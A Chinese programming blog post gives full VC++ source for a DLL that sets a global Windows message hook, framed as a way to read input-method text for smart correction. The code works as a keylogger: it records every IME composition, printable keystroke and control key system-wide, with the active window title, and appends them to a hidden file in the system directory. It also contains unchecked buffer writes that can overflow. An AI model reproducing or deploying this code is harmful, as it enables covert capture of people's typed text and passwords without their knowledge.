• VC++截取输入法输入信息钩子dll实现


    我们在实现输入法的智能纠正的时候,需要获取输入法输入的信息,如何实现呢,钩子如下



    #include "windows.h"
    #include "imm.h"
    #include "stdio.h"
    
    //#define HOOK_API __declspec(dllexport) 
    
    HHOOK        g_hHook            = NULL;        //hook句柄
    HINSTANCE  g_hHinstance    = NULL;        //程序句柄
    HWND         LastFocusWnd  = 0;//上一次句柄,必须使全局的
    HWND         FocusWnd;         //当前窗口句柄,必须使全局的  
    
    char title[256];              //获得窗口名字 
    char *ftemp;                //begin/end 写到文件里面
    char temptitle[256]="<<标题:";  //<<标题:窗口名字>>
    char t[2]={0,0};              //捕获单个字母
    void writefile(char *lpstr)
    {//保存为文件
    	FILE* f1;
    	char cmd[256];
    	GetSystemDirectory(cmd,256);
        strcat(cmd,"\\hooktxt.txt");
        f1=fopen(cmd,"a+");
        fwrite(lpstr,strlen(lpstr),1,f1);
        fclose(f1);
    }
    void writtitle()
    {//保存当前窗口
    	FocusWnd = GetActiveWindow();
    	if(LastFocusWnd != FocusWnd)
    	{
    		ftemp="\n---------End----------\n";
    		writefile(ftemp);
    		ftemp="\n--------begin---------\n";
    		writefile(ftemp);
    		GetWindowText(FocusWnd, title, 256);  //当前窗口标题
    		LastFocusWnd = FocusWnd;
    		strcat(temptitle,title);
    		strcat(temptitle,">>\n");
    		writefile(temptitle);
    	}
    }
    LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
    { 
        PMSG pmsg = (PMSG)lParam;
        if (nCode == HC_ACTION)
        {
            switch (pmsg->message)
            {
            case WM_IME_COMPOSITION:
                {
                    HIMC hIMC;
                    HWND hWnd=pmsg->hwnd;
                    DWORD dwSize;
                    char lpstr[20];
                    if(pmsg->lParam & GCS_RESULTSTR)
                    {
                        //先获取当前正在输入的窗口的输入法句柄
                        hIMC = ImmGetContext(hWnd);
                           // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                        dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
    
                        // 缓冲区大小要加上字符串的NULL结束符大小,
                        //   考虑到UNICODE
                        dwSize += sizeof(WCHAR);
    
                        memset(lpstr, 0, 20);
    
                        // 再调用一次.ImmGetCompositionString获取字符串
                        ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
                        //现在lpstr里面即是输入的汉字了。
    					writtitle();                //保存当前窗口
    					writefile(lpstr);           //保存为文件
                        ImmReleaseContext(hWnd, hIMC);
    				}
                }
                break;
            case WM_CHAR:  //截获发向焦点窗口的键盘消息
                {
    			    char ch,str[10];
    			    ch=(char)(pmsg->wParam);
    			    if (ch>=32 && ch<=126)           //可见字符
    				{ 
    					writtitle();
    					t[0]=ch;
    					writefile(t);
    				}
    				if (ch>=8 && ch<=31)			 //控制字符
    				{
    					switch(ch)
    					{
    					    case 8:
    							strcpy(str,"[退格]");
    							break;
    					    case 9:
    							strcpy(str,"[TAB]");
    							break;
    					    case 13:
    							strcpy(str,"[Enter]");
    							break;
    						default:strcpy(str,"n");
    					}
    					if (strcmp(str,"n"))
    					{
    						writtitle();
    				    	writefile(str);
    					}
    				}
    
    			}
                break;
            }
        }
    	LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
     
        return(lResult);
    }
    
    //HOOK_API BOOL InstallHook()
    BOOL InstallHook()
    {
        g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
        return TRUE;
    }
    
    //HOOK_API BOOL UnHook()
    BOOL UnHook()
    {       
        return UnhookWindowsHookEx(g_hHook);
    } 
    
    BOOL APIENTRY DllMain( HANDLE hModule, 
                           DWORD  ul_reason_for_call, 
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            g_hHinstance=HINSTANCE(hModule);
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
            UnHook();
            break;
        }
        return TRUE;
    }
    


  • 相关阅读:
    python三级菜单
    python购物车
    crontab计划任务
    shell脚本相关关系、浮点、循环
    find及其他命令
    awk命令
    sed命令
    linux正则表达式
    shell脚本编写nginx部署脚本
    shell脚本编写监控内存并发送邮件
  • 原文地址:https://www.cnblogs.com/new0801/p/6177616.html
Copyright © 2020-2023  润新知